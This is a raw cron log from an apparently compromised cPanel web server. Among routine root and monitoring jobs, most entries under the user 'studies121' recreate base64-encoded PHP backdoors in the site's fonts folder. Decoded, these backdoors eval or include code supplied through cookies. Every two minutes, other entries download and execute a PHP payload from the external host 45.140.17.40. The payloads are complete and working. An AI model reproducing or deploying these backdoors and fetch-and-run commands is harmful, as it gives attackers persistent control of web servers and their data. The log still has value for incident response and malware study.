Sep 20 15:21:01 ip-184-168-122-23 CROND[12269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:21:01 ip-184-168-122-23 CROND[12271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:21:01 ip-184-168-122-23 CROND[12272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:21:01 ip-184-168-122-23 CROND[12273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:22:01 ip-184-168-122-23 CROND[12534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:22:01 ip-184-168-122-23 CROND[12538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:22:01 ip-184-168-122-23 CROND[12539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:22:01 ip-184-168-122-23 CROND[12540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:22:02 ip-184-168-122-23 CROND[12543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:23:01 ip-184-168-122-23 CROND[12873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:23:01 ip-184-168-122-23 CROND[12874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:23:01 ip-184-168-122-23 CROND[12876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:23:01 ip-184-168-122-23 CROND[12877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:24:01 ip-184-168-122-23 CROND[13100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:24:01 ip-184-168-122-23 CROND[13102]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:24:01 ip-184-168-122-23 CROND[13104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:24:01 ip-184-168-122-23 CROND[13103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:24:01 ip-184-168-122-23 CROND[13105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:25:01 ip-184-168-122-23 CROND[13351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:25:01 ip-184-168-122-23 CROND[13354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 15:25:01 ip-184-168-122-23 CROND[13355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:25:01 ip-184-168-122-23 CROND[13356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:25:01 ip-184-168-122-23 CROND[13352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 15:25:01 ip-184-168-122-23 CROND[13357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:26:01 ip-184-168-122-23 CROND[13675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:26:01 ip-184-168-122-23 CROND[13678]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:26:01 ip-184-168-122-23 CROND[13680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:26:01 ip-184-168-122-23 CROND[13681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:26:01 ip-184-168-122-23 CROND[13682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:27:01 ip-184-168-122-23 CROND[14002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:27:01 ip-184-168-122-23 CROND[14003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:27:01 ip-184-168-122-23 CROND[14005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:27:01 ip-184-168-122-23 CROND[14004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:28:01 ip-184-168-122-23 CROND[14363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:28:01 ip-184-168-122-23 CROND[14365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:28:01 ip-184-168-122-23 CROND[14367]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:28:01 ip-184-168-122-23 CROND[14370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:28:01 ip-184-168-122-23 CROND[14369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:29:01 ip-184-168-122-23 CROND[14625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:29:01 ip-184-168-122-23 CROND[14627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:29:01 ip-184-168-122-23 CROND[14628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:29:01 ip-184-168-122-23 CROND[14629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:30:02 ip-184-168-122-23 CROND[14983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:30:02 ip-184-168-122-23 CROND[14984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:30:02 ip-184-168-122-23 CROND[14987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 15:30:02 ip-184-168-122-23 CROND[14986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:30:02 ip-184-168-122-23 CROND[14990]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 15:30:02 ip-184-168-122-23 CROND[14988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:30:02 ip-184-168-122-23 CROND[14989]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 15:30:02 ip-184-168-122-23 CROND[14992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:31:01 ip-184-168-122-23 CROND[15279]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 15:31:01 ip-184-168-122-23 CROND[15282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:31:01 ip-184-168-122-23 CROND[15284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:31:01 ip-184-168-122-23 CROND[15283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:31:01 ip-184-168-122-23 CROND[15285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:32:01 ip-184-168-122-23 CROND[15573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:32:01 ip-184-168-122-23 CROND[15575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:32:01 ip-184-168-122-23 CROND[15576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:32:01 ip-184-168-122-23 CROND[15577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:32:01 ip-184-168-122-23 CROND[15578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:33:01 ip-184-168-122-23 CROND[15834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:33:01 ip-184-168-122-23 CROND[15836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
